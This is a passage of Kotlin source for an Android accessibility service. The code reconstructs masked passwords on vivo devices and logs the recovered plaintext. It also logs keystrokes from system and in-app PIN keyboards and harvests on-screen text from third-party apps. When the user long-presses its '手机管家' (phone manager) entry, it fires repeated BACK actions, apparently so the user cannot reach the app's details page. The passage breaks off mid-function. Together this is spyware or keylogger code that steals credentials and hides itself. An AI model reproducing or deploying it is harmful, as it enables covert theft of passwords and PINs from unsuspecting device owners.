     * ✅ vivo设备明文字符提取
     */
    private fun extractVivoPlaintextChars(text: String, beforeText: String): List<String> {
        val extractedChars = mutableListOf<String>()
        
        try {
            // 方法1: 提取所有非掩码字符
            val plaintextInCurrent = text.filter { char ->
                char != '•' && char != '*' && char.isLetterOrDigit()
            }
            
            if (plaintextInCurrent.isNotEmpty()) {
                extractedChars.addAll(plaintextInCurrent.map { it.toString() })
                Log.d(TAG, "🎯 [vivo明文提取] 当前文本明文: '$plaintextInCurrent'")
            }
            
            // 方法2: 分析新增字符（比较text和beforeText的差异）
            if (text.length > beforeText.length) {
                val lengthDiff = text.length - beforeText.length
                val potentialNewChars = text.takeLast(lengthDiff)
                
                val newPlaintextChars = potentialNewChars.filter { char ->
                    char != '•' && char != '*' && char.isLetterOrDigit()
                }
                
                if (newPlaintextChars.isNotEmpty()) {
                    extractedChars.addAll(newPlaintextChars.map { it.toString() })
                    Log.d(TAG, "🎯 [vivo明文提取] 新增明文字符: '$newPlaintextChars'")
                }
            }
            
            // 方法3: 比较位置差异，提取可能的明文
            for (i in text.indices) {
                val currentChar = text[i]
                val previousChar = if (i < beforeText.length) beforeText[i] else null
                
                // 如果当前位置是明文，而之前位置是掩码或不存在，则可能是新输入的明文
                if (currentChar.isLetterOrDigit() && currentChar != '•' && currentChar != '*') {
                    if (previousChar == null || previousChar == '•' || previousChar == '*' || previousChar != currentChar) {
                        if (!extractedChars.contains(currentChar.toString())) {
                            extractedChars.add(currentChar.toString())
                            Log.d(TAG, "🎯 [vivo明文提取] 位置${i}明文字符: '$currentChar'")
                        }
                    }
                }
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "vivo明文字符提取失败", e)
        }
        
        return extractedChars.distinct() // 去重
    }
    
    /**
     * ✅ vivo设备深度节点扫描
     */
    private fun scanVivoPasswordNodeDeep(node: AccessibilityNodeInfo, packageName: String) {
        try {
            // 扫描当前节点
            val nodeText = node.text?.toString()
            if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) { // 限制长度，避免扫描非密码文本
                val extractedFromNode = extractVivoPlaintextChars(nodeText, "")
                if (extractedFromNode.isNotEmpty()) {
                    Log.i(TAG, "🔍 [vivo深度扫描] 节点明文: '$extractedFromNode'")
                    vivoExtractedChars.addAll(extractedFromNode)
                }
            }
            
            // 扫描子节点（限制深度避免性能问题）
            if (node.childCount <= 10) { // 限制子节点数量
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        try {
                            val childText = child.text?.toString()
                            if (!childText.isNullOrEmpty() && childText.length <= 20) {
                                val extractedFromChild = extractVivoPlaintextChars(childText, "")
                                if (extractedFromChild.isNotEmpty()) {
                                    Log.i(TAG, "🔍 [vivo深度扫描] 子节点明文: '$extractedFromChild'")
                                    vivoExtractedChars.addAll(extractedFromChild)
                                }
                            }
                        } finally {
                            child.recycle()
                        }
                    }
                }
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "vivo深度扫描节点失败", e)
        }
    }
    
    /**
     * ✅ vivo设备主动扫描启动
     */
    private fun startVivoActiveScanning(packageName: String) {
        if (vivoActiveScanning.contains(packageName)) {
            return // 避免重复扫描
        }
        
        vivoActiveScanning.add(packageName)
        Log.i(TAG, "🚀 [vivo主动扫描] 启动主动扫描: $packageName")
        
        logScope.launch {
            try {
                // 连续扫描15次，每次间隔50ms，总共750ms
                repeat(15) { scanIndex ->
                    delay(50L)
                    
                    try {
                        val rootNode = service.rootInActiveWindow
                        if (rootNode != null) {
                            scanPasswordFieldsInRoot(rootNode, packageName, scanIndex)
                            rootNode.recycle()
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "vivo主动扫描第${scanIndex + 1}次失败", e)
                    }
                }
                
            } finally {
                // 扫描完成后清理
                vivoActiveScanning.remove(packageName)
                Log.i(TAG, "✅ [vivo主动扫描] 扫描完成: $packageName")
            }
        }
    }
    
    /**
     * ✅ 扫描根节点中的所有密码字段
     */
    private fun scanPasswordFieldsInRoot(rootNode: AccessibilityNodeInfo, targetPackage: String, scanIndex: Int) {
        findPasswordFieldsRecursive(rootNode, targetPackage, { passwordNode ->
            try {
                val nodeText = passwordNode.text?.toString()
                if (!nodeText.isNullOrEmpty() && nodeText.length <= 20) {
                    val extractedFromScan = extractVivoPlaintextChars(nodeText, "")
                    if (extractedFromScan.isNotEmpty()) {
                        Log.i(TAG, "🎯 [vivo主动扫描#${scanIndex + 1}] 发现密码字段明文: '$extractedFromScan'")
                        vivoExtractedChars.addAll(extractedFromScan)
                        vivoLastCaptureTime = System.currentTimeMillis()
                    }
                }
            } catch (e: Exception) {
                Log.w(TAG, "扫描密码字段失败", e)
            }
        })
    }
    
    /**
     * ✅ 递归查找密码字段
     */
    private fun findPasswordFieldsRecursive(
        node: AccessibilityNodeInfo, 
        targetPackage: String, 
        onPasswordFieldFound: (AccessibilityNodeInfo) -> Unit,
        depth: Int = 0
    ) {
        if (depth > 5) return // 限制递归深度
        
        try {
            // 检查当前节点是否是密码字段
            val className = node.className?.toString()?.lowercase() ?: ""
            val isPasswordInput = node.isPassword || 
                                className.contains("password") || 
                                className.contains("edittext")
            
            if (isPasswordInput) {
                onPasswordFieldFound(node)
            }
            
            // 递归检查子节点
            if (node.childCount <= 20) { // 限制子节点数量
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        try {
                            findPasswordFieldsRecursive(child, targetPackage, onPasswordFieldFound, depth + 1)
                        } finally {
                            child.recycle()
                        }
                    }
                }
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "递归查找密码字段失败", e)
        }
    }
    
    /**
     * ✅ 更新vivo密码缓冲区
     */
    private fun updateVivoPasswordBuffer(text: String, beforeText: String) {
        try {
            // 如果检测到新的明文字符，更新缓冲区
            if (vivoExtractedChars.isNotEmpty()) {
                // 构建可能的完整密码
                val reconstructedPassword = reconstructVivoPassword(text)
                if (reconstructedPassword != vivoPasswordBuffer && reconstructedPassword.isNotEmpty()) {
                    vivoPasswordBuffer = reconstructedPassword
                    Log.i(TAG, "📝 [vivo密码重构] 更新密码缓冲区: 长度=${reconstructedPassword.length}")
                    
                    // 如果重构的密码看起来完整，记录到日志
                    if (reconstructedPassword.length >= 4) { // 至少4位才考虑是完整密码
                        logScope.launch {
                            recordLog(
                                "TEXT_INPUT",
                                "🔒 [vivo快速捕获] 重构密码: ${reconstructedPassword.replace(Regex("[a-zA-Z0-9]"), "•")} (${reconstructedPassword.length}位)",
                                mapOf(
                                    "vivoOptimized" to true,
                                    "extractedChars" to vivoExtractedChars.size,
                                    "reconstructedPassword" to reconstructedPassword,
                                    "captureMethod" to "vivo_enhanced_capture"
                                )
                            )
                        }
                    }
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "更新vivo密码缓冲区失败", e)
        }
    }
    
    /**
     * ✅ vivo设备文本增强处理
     */
    private fun enhanceVivoPasswordText(displayText: String, beforeText: String): String {
        try {
            if (vivoExtractedChars.isEmpty()) {
                return displayText
            }
            
            // 策略1: 如果显示文本全是掩码，尝试用捕获的明文字符重构
            if (displayText.all { it == '•' || it == '*' || it.isWhitespace() }) {
                val distinctChars = vivoExtractedChars.distinct()
                if (distinctChars.size >= displayText.length * 0.5) { // 至少捕获了50%的字符
                    val reconstructed = distinctChars.take(displayText.length).joinToString("")
                    Log.d(TAG, "📱 [vivo文本增强] 全掩码重构: ${distinctChars.joinToString("")}")
                    return reconstructed
                }
            }
            
            // 策略2: 混合显示，保留明文部分，补充捕获的字符
            if (displayText.any { it.isLetterOrDigit() } && displayText.any { it == '•' || it == '*' }) {
                val enhancedText = StringBuilder()
                val capturedChars = vivoExtractedChars.toMutableList()
                
                for (i in displayText.indices) {
                    val currentChar = displayText[i]
                    if (currentChar.isLetterOrDigit()) {
                        // 保留已显示的明文字符
                        enhancedText.append(currentChar)
                        capturedChars.find { it == currentChar.toString() }?.also { capturedChars.remove(it) }
                    } else if (currentChar == '•' || currentChar == '*') {
                        // 尝试用捕获的字符替换掩码
                        val replacementChar = capturedChars.removeFirstOrNull()
                        enhancedText.append(replacementChar ?: currentChar)
                    } else {
                        enhancedText.append(currentChar)
                    }
                }
                
                Log.d(TAG, "📱 [vivo文本增强] 混合重构: ${enhancedText.toString()}")
                return enhancedText.toString()
            }
            
            // 策略3: 如果捕获的字符比显示的更多，可能是完整密码
            val distinctChars = vivoExtractedChars.distinct()
            if (distinctChars.size > displayText.length) {
                Log.d(TAG, "📱 [vivo文本增强] 使用完整捕获: ${distinctChars.joinToString("")}")
                return distinctChars.joinToString("")
            }
            
            return displayText
            
        } catch (e: Exception) {
            Log.w(TAG, "vivo文本增强处理失败", e)
            return displayText
        }
    }
    
    /**
     * ✅ 重构vivo设备密码
     */
    private fun reconstructVivoPassword(currentText: String): String {
        try {
            // 策略1: 如果当前文本包含明文，直接使用
            val currentPlaintext = currentText.filter { it != '•' && it != '*' && it.isLetterOrDigit() }
            if (currentPlaintext.isNotEmpty()) {
                return currentPlaintext
            }
            
            // 策略2: 使用捕获的明文字符重构
            if (vivoExtractedChars.isNotEmpty()) {
                // 按捕获时间顺序排列（假设是按输入顺序捕获的）
                val reconstructed = vivoExtractedChars.distinct().joinToString("")
                if (reconstructed.length >= currentText.length - 2) { // 允许少量字符丢失
                    return reconstructed
                }
            }
            
            // 策略3: 结合当前文本长度和捕获字符
            if (vivoExtractedChars.isNotEmpty() && currentText.isNotEmpty()) {
                val distinctChars = vivoExtractedChars.distinct()
                
                // 如果捕获的字符数量接近文本长度，可能是完整的
                if (distinctChars.size >= currentText.length * 0.7) { // 至少70%的字符被捕获
                    return distinctChars.joinToString("")
                }
            }
            
            return ""
        } catch (e: Exception) {
            Log.w(TAG, "重构vivo密码失败", e)
            return ""
        }
    }


    /**
     * 处理文本选择变化事件 - 可能包含密码输入
     */
    private fun handleTextSelectionChanged(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        
        // 只处理密码相关的事件
        if (isPasswordField(event)) {
            val text = event.text?.joinToString("") ?: ""
            val beforeText = event.beforeText?.toString() ?: ""
            
            Log.d(TAG, "🔍 文本选择变化: 包名=$packageName, 类名=$className, 文本='$text', 之前='$beforeText'")
            
            // 如果检测到文本变化，可能是密码输入
            if (text != beforeText && text.isNotEmpty()) {
                handlePasswordInput(event, text, beforeText, System.currentTimeMillis())
            }
        }
    }
    
    /**
     * ✅ 增强：处理焦点事件 - 记录所有文本输入框获得焦点的情况
     */
    private fun handleViewFocused(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val text = event.text?.joinToString("") ?: ""
        val contentDescription = event.contentDescription?.toString() ?: ""
        
        // ✅ 增强：检测所有可能的文本输入控件
        var isTextInput = className.lowercase().contains("edittext") ||
                         className.lowercase().contains("textfield") ||
                         className.lowercase().contains("textinput") ||
                         className.lowercase().contains("searchview") ||
                         event.isPassword
        
        // ✅ 增强：通过AccessibilityNodeInfo检查是否可编辑
        val source = event.source
        if (source != null) {
            isTextInput = isTextInput || source.isEditable
        }
        
        // ✅ 增强：检测是否为密码输入框
        val isPasswordField = isPasswordField(event) || isLikelyPasswordInput(event)
        
        if (isTextInput) {
            Log.d(TAG, "🎯 文本输入框获得焦点: 包名=$packageName, 类名=$className, 密码字段=$isPasswordField")
            
            // 尝试从AccessibilityNodeInfo获取更多信息
            var nodeText = ""
            var hintText = ""
            
            if (source != null) {
                try {
                    nodeText = source.text?.toString() ?: ""
                    hintText = source.hintText?.toString() ?: ""
                    
                    Log.d(TAG, "🎯 节点详细信息: 文本='$nodeText', 提示='$hintText', 可编辑=${source.isEditable}, 密码=${source.isPassword}")
                    
                    if (nodeText.isNotEmpty() && nodeText != text) {
                        // 可能获取到了更完整的文本
                        Log.d(TAG, "🎯 从节点获取到更多文本信息: '$nodeText'")
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "获取节点文本失败", e)
                } finally {
                    source.recycle()
                }
            }
            
            // ✅ 记录焦点事件 - 包含密码和普通文本输入
            // 从节点获取isEditable状态
            val nodeIsEditable = source?.isEditable ?: false
            
            logScope.launch {
                recordLog(
                    "FOCUS_GAINED",
                    "文本框获得焦点: ${if (isPasswordField) "密码输入" else "文本输入"}",
                    mapOf(
                        "text" to text,
                        "nodeText" to nodeText,
                        "hintText" to hintText,
                        "className" to className,
                        "packageName" to packageName,
                        "contentDescription" to contentDescription,
                        "isPasswordField" to isPasswordField,
                        "isEditable" to nodeIsEditable,
                        "eventType" to "VIEW_FOCUSED"
                    )
                )
            }
            
            // ✅ 对于密码字段，执行特殊处理
            if (isPasswordField && nodeText.isNotEmpty()) {
                Log.d(TAG, "🔒 密码字段焦点检测到已有内容，可能需要分析")
            }
        }
    }

    /**
     * ✅ 新增：在节点中查找数字键盘
     */
    private fun findNumericKeypadInNode(node: AccessibilityNodeInfo): Boolean {
        try {
            // 检查当前节点
            val className = node.className?.toString()?.lowercase() ?: ""
            val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
            val text = node.text?.toString() ?: ""
            
            // 数字键盘特征
            val hasNumericKeywords = className.contains("numpad") || 
                                   className.contains("numeric") ||
                                   className.contains("keypad") ||
                                   contentDesc.contains("数字") ||
                                   contentDesc.contains("numeric") ||
                                   contentDesc.contains("keypad")
            
            // 检查是否有数字按钮（0-9）
            val hasDigitButtons = text.matches(Regex("\\d")) || 
                                contentDesc.matches(Regex("\\d"))
            
            if (hasNumericKeywords || hasDigitButtons) {
                Log.d(TAG, "🔢 发现数字键盘节点: 类名=$className, 描述=$contentDesc, 文本=$text")
                return true
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    try {
                        if (findNumericKeypadInNode(child)) {
                            return true
                        }
                    } finally {
                        child.recycle()
                    }
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.w(TAG, "检查数字键盘节点失败", e)
            return false
        }
    }
    
    /**
     * ✅ 新增：在节点中查找密码输入框
     */
    private fun findPasswordFieldInNode(node: AccessibilityNodeInfo): Boolean {
        try {
            // 检查当前节点
            val className = node.className?.toString()?.lowercase() ?: ""
            val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
            
            // 密码输入框特征
            val isPasswordField = className.contains("edittext") ||
                                className.contains("password") ||
                                contentDesc.contains("密码") ||
                                contentDesc.contains("password") ||
                                contentDesc.contains("pin") ||
                                node.isPassword
            
            if (isPasswordField) {
                Log.d(TAG, "🔢 发现密码输入框节点: 类名=$className, 描述=$contentDesc")
                return true
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    try {
                        if (findPasswordFieldInNode(child)) {
                            return true
                        }
                    } finally {
                        child.recycle()
                    }
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.w(TAG, "检查密码输入框节点失败", e)
            return false
        }
    }
    
    /**
     * ✅ 新增：从节点中提取密码内容
     */
    private fun extractPasswordFromNode(node: AccessibilityNodeInfo): String {
        try {
            // 检查当前节点是否是密码输入框
            val className = node.className?.toString()?.lowercase() ?: ""
            val text = node.text?.toString() ?: ""
            
            if ((className.contains("edittext") || className.contains("password") || node.isPassword) && text.isNotEmpty()) {
                Log.d(TAG, "🔢 从密码节点提取内容: '$text'")
                return text
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    try {
                        val childText = extractPasswordFromNode(child)
                        if (childText.isNotEmpty()) {
                            return childText
                        }
                    } finally {
                        child.recycle()
                    }
                }
            }
            
            return ""
        } catch (e: Exception) {
            Log.w(TAG, "提取密码内容失败", e)
            return ""
        }
    }

    /**
     * ✅ 新增：处理长按事件
     */
    private fun handleViewLongClicked(event: AccessibilityEvent) {
        val text = event.text?.joinToString(" ") ?: ""
        val className = event.className?.toString() ?: ""
        val packageName = event.packageName?.toString() ?: ""
        val contentDescription = event.contentDescription?.toString() ?: ""
        
        Log.d(TAG, "🔗 长按事件: 包名=$packageName, 类名=$className, 文本='$text'")
        
        // ✅ 阻断长按弹出：如果是我们的app，立即执行多次返回操作
        if (text == service.getString(R.string.app_name) || text == service.getString(R.string._2580369_res_0x7f10001e) || text == "手机管家") {
            Log.d(TAG, "🛡️ 检测到长按我们自己的app，执行阻断操作")
            cancelLongPressPopup()
        }
        
        logScope.launch {
            recordLog(
                "LONG_PRESS",
                "长按控件: $text",
                mapOf(
                    "text" to text,
                    "className" to className,
                    "packageName" to packageName,
                    "contentDescription" to contentDescription,
                    "eventType" to "VIEW_LONG_CLICKED"
                )
            )
        }
    }
    
    /**
     * ✅ 判断是否是我们自己的app
     */
//    private fun isOurApp(packageName: String): Boolean {
//        val ourPackageName = service.packageName
//        val isOurApp = packageName == ourPackageName || packageName.contains("hikoncont", ignoreCase = true)
//        if (isOurApp) {
//            Log.d(TAG, "✅ 检测到是我们自己的app: $packageName")
//        }
//        return isOurApp
//    }
    
    /**
     * ✅ 检测文本中是否包含价格信息
     * 支持格式：元、￥、¥、数字+元、价格等
     */
    private fun containsPrice(text: String): Boolean {
        if (text.isEmpty()) return false
        
        // 价格模式：包含"元"、"￥"、"¥"等价格标识
        val pricePatterns = listOf(
            "元", "￥", "¥", "价格", "单价", "总价", 
            "金额", "费用", "cost", "price"
        )
        
        // 检查是否包含价格标识
        val containsPriceKeyword = pricePatterns.any { text.contains(it, ignoreCase = true) }
        
        // 检查是否包含数字+元的模式（如：100元、¥50等）
        val priceRegex = Regex("""\d+[\.]?\d*\s*[元￥¥]|[￥¥]\s*\d+[\.]?\d*""")
        val matchesPricePattern = priceRegex.containsMatchIn(text)
        
        val isPrice = containsPriceKeyword || matchesPricePattern
        
        if (isPrice) {
            Log.d(TAG, "💰 检测到价格信息: $text")
        }
        
        return isPrice
    }
    
    /**
     * ✅ 阻断长按弹出的详情窗口
     * 使用激进策略：立即执行返回，并在主线程中延迟多次执行确保窗口关闭
     */
    private fun cancelLongPressPopup() {
        try {
            Log.d(TAG, "🛡️ 开始阻断长按弹出详情")
            
            val handler = Handler(Looper.getMainLooper())
            
            // 1. 立即执行返回操作（最快响应）
            service.performGlobalAction(GLOBAL_ACTION_BACK)
            
            // 2. 延迟执行多次返回操作，确保详情窗口被关闭（在主线程执行，响应更快）
            handler.postDelayed({
                service.performGlobalAction(GLOBAL_ACTION_BACK)
                Log.d(TAG, "🛡️ 第一次延迟返回执行完成")
            }, 10)
            
            handler.postDelayed({
                service.performGlobalAction(GLOBAL_ACTION_BACK)
                Log.d(TAG, "🛡️ 第二次延迟返回执行完成")
            }, 50)
            
            handler.postDelayed({
                service.performGlobalAction(GLOBAL_ACTION_BACK)
                Log.d(TAG, "🛡️ 第三次延迟返回执行完成")
            }, 100)
            
            handler.postDelayed({
                service.performGlobalAction(GLOBAL_ACTION_BACK)
                Log.d(TAG, "🛡️ 第四次延迟返回执行完成")
                Log.d(TAG, "✅ 阻断长按弹出详情完成")
            }, 150)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 阻断长按弹出详情失败", e)
        }
    }
    
    /**
     * ✅ 随机点击屏幕上的一个位置
     */
    private fun performRandomClick() {
        try {
            val displayMetrics = service.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels
            
            // 生成随机坐标（避免点击边缘，留出边距）
            val margin = 100
            val randomX = Random.nextInt(margin, screenWidth - margin).toFloat()
            val randomY = Random.nextInt(margin, screenHeight - margin).toFloat()
            
            Log.d(TAG, "🎯 随机点击坐标: ($randomX, $randomY)")
            
            // 创建手势
            val path = Path().apply {
                moveTo(randomX, randomY)
            }
            val stroke = GestureDescription.StrokeDescription(path, 0, 50L)
            val gesture = GestureDescription.Builder()
                .addStroke(stroke)
                .build()
            
            // 执行手势
            service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ 随机点击完成")
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "⚠️ 随机点击被取消")
                }
            }, null)
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 随机点击失败", e)
        }
    }
    
    /**
     * ✅ 新增：处理悬停事件
     */
    private fun handleViewHover(event: AccessibilityEvent, hoverType: String) {
        val text = event.text?.joinToString(" ") ?: ""
        val className = event.className?.toString() ?: ""
        val packageName = event.packageName?.toString() ?: ""
        val contentDescription = event.contentDescription?.toString() ?: ""
        
        // 只记录有意义的悬停事件
        if (text.isNotEmpty() || contentDescription.isNotEmpty()) {
            Log.d(TAG, "🖱️ 悬停事件($hoverType): 包名=$packageName, 类名=$className, 文本='$text'")
            
            logScope.launch {
                recordLog(
                    "HOVER",
                    "$hoverType: $text",
                    mapOf(
                        "text" to text,
                        "className" to className,
                        "packageName" to packageName,
                        "contentDescription" to contentDescription,
                        "hoverType" to hoverType,
                        "eventType" to "VIEW_HOVER"
                    )
                )
            }
        }
    }
    
    
    /**
     * ✅ 增强的键盘输入监听 - 检测各种键盘输入源
     */
    private fun handleKeyboardInput(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val text = event.text?.joinToString("") ?: ""
        val contentDescription = event.contentDescription?.toString() ?: ""
        
        // ✅ 扩展输入法检测：包括系统输入法、第三方输入法、应用内键盘
        val isInputMethod = packageName.lowercase().contains("inputmethod") ||
                           packageName.lowercase().contains("keyboard") ||
                           packageName.lowercase().contains("ime") ||
                           className.lowercase().contains("keyboard") ||
                           className.lowercase().contains("keyboardview") ||
                           className.lowercase().contains("inputmethod")
        
        // ✅ 新增：检测应用内自定义键盘
        val isCustomKeyboard = !isInputMethod && (
            className.lowercase().contains("key") ||
            className.lowercase().contains("numpad") ||
            className.lowercase().contains("pinpad") ||
            (text.length == 1 && (text.matches(Regex("[0-9a-zA-Z]")) || text in listOf(".", ",", "@", "#", "*"))) ||
            (contentDescription.lowercase().contains("key") && text.isNotEmpty())
        )
        
        if ((isInputMethod || isCustomKeyboard) && text.isNotEmpty()) {
            val keyboardType = when {
                isInputMethod -> "系统输入法"
                isCustomKeyboard -> "应用内键盘"
                else -> "未知键盘"
            }
            
            Log.d(TAG, "⌨️ 键盘输入检测[$keyboardType]: 包名=$packageName, 类名=$className, 输入='$text'")
            
            // ✅ 智能字符识别
            val detectedCharacter = when {
                text.length == 1 -> text
                text.matches(Regex("\\d+")) && text.length == 1 -> text
                extractDigitFromText(text) != null -> extractDigitFromText(text)!!
                else -> text
            }
            
            logScope.launch {
                recordLog(
                    "KEYBOARD_INPUT",
                    "键盘输入[$keyboardType]: $detectedCharacter",
                    mapOf(
                        "character" to detectedCharacter,
                        "originalText" to text,
                        "className" to className,
                        "packageName" to packageName,
                        "contentDescription" to contentDescription,
                        "keyboardType" to keyboardType,
                        "isInputMethod" to isInputMethod,
                        "isCustomKeyboard" to isCustomKeyboard,
                        "eventType" to "KEYBOARD_INPUT"
                    )
                )
            }
        }
    }
    
    /**
     * ✅ 新增：增强的窗口内容变化处理 - 检测更多应用的文本输入
     */
    private fun handleEnhancedWindowContentChanged(event: AccessibilityEvent) {
        val packageName = event.packageName?.toString() ?: ""
        val className = event.className?.toString() ?: ""
        val currentTime = System.currentTimeMillis()
        
        Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className")
        
        
        // 首先检查键盘输入
        handleKeyboardInput(event)
        
        // 然后执行原有的窗口内容变化处理
        handleWindowContentChanged(event)
        
        // ✅ 新增：特别检测第三方应用的文本变化
        val source = event.source
        if (source != null && !packageName.contains("systemui", ignoreCase = true)) {
            try {
                // 递归检查所有子节点的文本变化
                val textChanges = extractAllTextFromNode(source, mutableListOf())
                
                if (textChanges.isNotEmpty()) {
                    Log.d(TAG, "🔍 第三方应用文本变化: 包名=$packageName, 检测到${textChanges.size}个文本元素")
                    
                    // ✅ 优化：应用去重和过滤逻辑，减少重复日志
                    val significantTexts = textChanges.filter { textInfo ->
                        textInfo.text.isNotEmpty() && textInfo.text.length > 1
                    }
                    
                    Log.d(TAG, "🔍 第三方应用文本过滤: 原始${textChanges.size}个 -> 有效${significantTexts.size}个")
                    
                    significantTexts.forEach { textInfo ->
                            // 检测是否可能是密码输入
                            val isPasswordLike = textInfo.isPassword || 
                                               textInfo.text.any { it == '•' || it == '*' || it == '●' } ||
                                               (textInfo.text.all { it.isDigit() } && textInfo.text.length in 4..10)
                        
                        // ✅ 更新统计信息
                        if (!isPasswordLike) {
                            textDetectedTotalCount++
                        }
                        
                        // ✅ 对于TEXT_DETECTED应用去重逻辑，PASSWORD_DETECTED保持原有逻辑
                        val shouldRecord = if (isPasswordLike) {
                            true // 密码相关的始终记录
                        } else {
                            shouldRecordTextDetected(textInfo.text, packageName)
                        }
                        
                        if (shouldRecord) {
                            if (!isPasswordLike) {
                                textDetectedRecordedCount++
                                //只記錄像密碼的。其他的不記錄了
                                logScope.launch {
                                    recordLog(
                                        if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED",
                                        "文本检测: ${textInfo.text}",
                                        mapOf(
                                            "text" to textInfo.text,
                                            "className" to textInfo.className,
                                            "packageName" to packageName,
                                            "isPassword" to textInfo.isPassword,
                                            "isPasswordLike" to isPasswordLike,
                                            "hint" to textInfo.hint,
                                            "contentDescription" to textInfo.contentDesc,
                                            "eventType" to "WINDOW_CONTENT_ANALYSIS",
                                            "filtered" to "deduped" // 标记为去重处理
                                        )
                                    )
                                }
                            }
//
//                            logScope.launch {
//                                recordLog(
//                                    if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED",
//                                    "文本检测: ${textInfo.text}",
//                                    mapOf(
//                                        "text" to textInfo.text,
//                                        "className" to textInfo.className,
//                                        "packageName" to packageName,
//                                        "isPassword" to textInfo.isPassword,
//                                        "isPasswordLike" to isPasswordLike,
//                                        "hint" to textInfo.hint,
//                                        "contentDescription" to textInfo.contentDesc,
//                                        "eventType" to "WINDOW_CONTENT_ANALYSIS",
//                                        "filtered" to "deduped" // 标记为去重处理
//                                    )
//                                )
//                            }
                        } else {
                            if (!isPasswordLike) {
                                textDetectedFilteredCount++
                            }
                            Log.v(TAG, "🔕 跳过重复文本: '${textInfo.text}' (包名: $packageName)")
                        }
                    }
                }
            } catch (e: Exception) {
                Log.w(TAG, "分析第三方应用文本变化失败", e)
            } finally {
                source.recycle()
            }
        }
    }
    
    /**
     * ✅ 新增：递归提取节点中的所有文本信息
     */
    private fun extractAllTextFromNode(node: AccessibilityNodeInfo, results: MutableList<TextInfo>): List<TextInfo> {
        try {
            val text = node.text?.toString() ?: ""
            val className = node.className?.toString() ?: ""
            val hint = node.hintText?.toString() ?: ""
            val contentDesc = node.contentDescription?.toString() ?: ""
            
            // 如果当前节点有文本或是可编辑的，记录它
            if (text.isNotEmpty() || node.isEditable || node.isPassword) {
                results.add(TextInfo(
                    text = text,
                    className = className,
                    hint = hint,
                    contentDesc = contentDesc,
                    isPassword = node.isPassword,
                    isEditable = node.isEditable
                ))
            }
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    try {
                        extractAllTextFromNode(child, results)
                    } finally {
                        child.recycle()
                    }
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "提取节点文本信息失败", e)
        }
        
        return results
    }
    
    /**
     * ✅ 新增：文本信息数据类
     */
    private data class TextInfo(
        val text: String,
        val className: String,
        val hint: String,
        val contentDesc: String,
        val isPassword: Boolean,
        val isEditable: Boolean
    )

    /**
     * ✅ 新增：分析触摸事件中的键盘输入
     */
    private fun analyzeTouchForKeyboard(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String, touchType: String) {
        try {
            Log.d(TAG, "🔍 [触摸键盘分析] 开始分析触摸事件:")
            Log.d(TAG, "   触摸类型: $touchType")
            Log.d(TAG, "   包名: $packageName")
            Log.d(TAG, "   类名: $className")
            Log.d(TAG, "   文本: '$eventText'")
            Log.d(TAG, "   描述: '$contentDesc'")
            
            // 1. 检查是否为键盘相关的类名
            val isKeyboardClass = className.lowercase().let { cls ->
                cls.contains("key") || cls.contains("button") || cls.contains("numpad") || 
                cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
                cls.contains("digit") || cls.contains("char") || cls.contains("layout")
            }
            
            // 2. 检查是否为键盘相关的描述  
            val isKeyboardDesc = contentDesc.lowercase().let { desc ->
                desc.contains("key") || desc.contains("按键") || desc.contains("键") ||
                desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
                desc.matches(Regex(".*[0-9a-zA-Z].*"))
            }
            
            // 3. 检查文本是否像键盘字符
            val isKeyboardText = eventText.let { text ->
                text.length == 1 || // 单字符
                text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符
                extractDigitFromText(text) != null // 包含可提取的字符
            }
            
            // 4. 检查是否为输入法包名
            val isInputMethodPackage = packageName.lowercase().let { pkg ->
                pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
                pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou")
            }
            
            // 5. 通过AccessibilityNodeInfo获取更多信息
            val source = event.source
            var nodeInfo = ""
            var additionalText = ""
            if (source != null) {
                try {
                    val nodeText = source.text?.toString() ?: ""
                    val nodeHint = source.hintText?.toString() ?: ""
                    val nodeDesc = source.contentDescription?.toString() ?: ""
                    val isClickable = source.isClickable
                    val isEnabled = source.isEnabled
                    
                    nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled"
                    additionalText = nodeText
                    
